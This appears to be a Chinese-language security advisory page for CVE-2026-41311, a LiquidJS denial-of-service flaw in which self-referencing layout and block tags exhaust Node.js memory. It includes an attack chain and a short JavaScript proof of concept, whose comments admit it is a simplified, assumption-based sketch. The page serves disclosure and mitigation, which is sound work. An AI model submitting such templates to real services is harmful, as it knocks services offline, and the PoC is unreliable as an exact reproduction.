IPBUF安全漏洞报告
English
CVE-2026-41311 CVSS 7.5 高危

CVE-2026-41311 LiquidJS拒绝服务漏洞

披露日期: 2026-05-09

漏洞信息

漏洞编号
CVE-2026-41311
漏洞类型
拒绝服务
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
LiquidJS

相关标签

拒绝服务DoS内存溢出LiquidJSNode.js无限递归

漏洞概述

LiquidJS是一个纯JavaScript模板引擎,兼容Shopify和GitHub Pages。在10.25.7版本之前,由于对模板中{% layout %}和{% block %}的处理逻辑存在缺陷,攻击者可以通过构造循环引用导致无限递归。该漏洞会迅速消耗服务器内存(约4GB),导致Node.js进程因内存溢出而崩溃,从而实现拒绝服务攻击。任何能够提交Liquid模板的用户均可利用此漏洞。

技术细节

该漏洞源于LiquidJS在解析模板布局和块时的递归渲染机制缺乏循环检测。当攻击者构造一个包含{% layout %}和{% block %}标签的恶意模板,并使它们形成相互引用或自引用(例如layout引用自身)时,模板引擎在渲染过程中会进入无限递归循环。由于没有有效的递归深度限制,每次函数调用都会占用堆栈空间,导致内存消耗呈指数级增长。当内存占用达到Node.js的限制(通常为4GB)时,进程将抛出“FATAL ERROR: JavaScript heap out of memory”错误并强制终止。这种攻击无需用户交互或认证,且仅影响可用性。

攻击链分析

STEP 1
侦察
攻击者确认目标应用使用了LiquidJS模板引擎,并存在允许用户提交或渲染自定义模板的接口。
STEP 2
构造载荷
攻击者编写包含{% layout %}和{% block %}标签的恶意Liquid代码,设计循环引用逻辑(如layout引用自身)。
STEP 3
提交载荷
攻击者将恶意模板代码提交给服务器端进行渲染。
STEP 4
执行攻击
服务器端LiquidJS引擎解析模板时触发无限递归,内存迅速耗尽,导致Node.js进程崩溃,服务不可用。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// PoC for CVE-2026-41311: Infinite Recursion in LiquidJS // This script demonstrates how a circular reference in layout blocks causes a crash. const { Liquid } = require('liquidjs'); async function testDos() { const engine = new Liquid(); // Template A references Layout B const templateStr = '{% layout "layout_b" %}Content{% endlayout %}'; // Layout B references Template A (or itself) creating a loop // Note: In a real scenario, this would be configured via file system or partials // Here we simulate the circular dependency registration if possible, // or simply render a template that includes itself. // Simplified simulation of the vulnerable behavior: // If the engine allows a layout to include the template that calls it, // or includes itself, it crashes. try { // In a vulnerable version, registering a layout that calls the template // or a template that calls itself triggers the loop. // Example of a self-referencing structure: const evilTemplate = `{% layout 'self' %}{% block content %}{% endblock %}{% endlayout %}`; // Assuming 'self' points to a layout that includes the evilTemplate again await engine.parseAndRender(evilTemplate); } catch (e) { console.error('Process crashed or failed:', e); } } testDos();

影响范围

LiquidJS < 10.25.7

防御指南

临时缓解措施
如果无法立即升级,建议对用户输入的Liquid模板进行严格的静态代码分析,检测是否存在潜在的循环引用模式。此外,可以通过限制Node.js进程的内存上限(如使用--max-old-space-size参数)来减缓崩溃对宿主机的影响,但这并不能防止目标服务进程的终止。

参考链接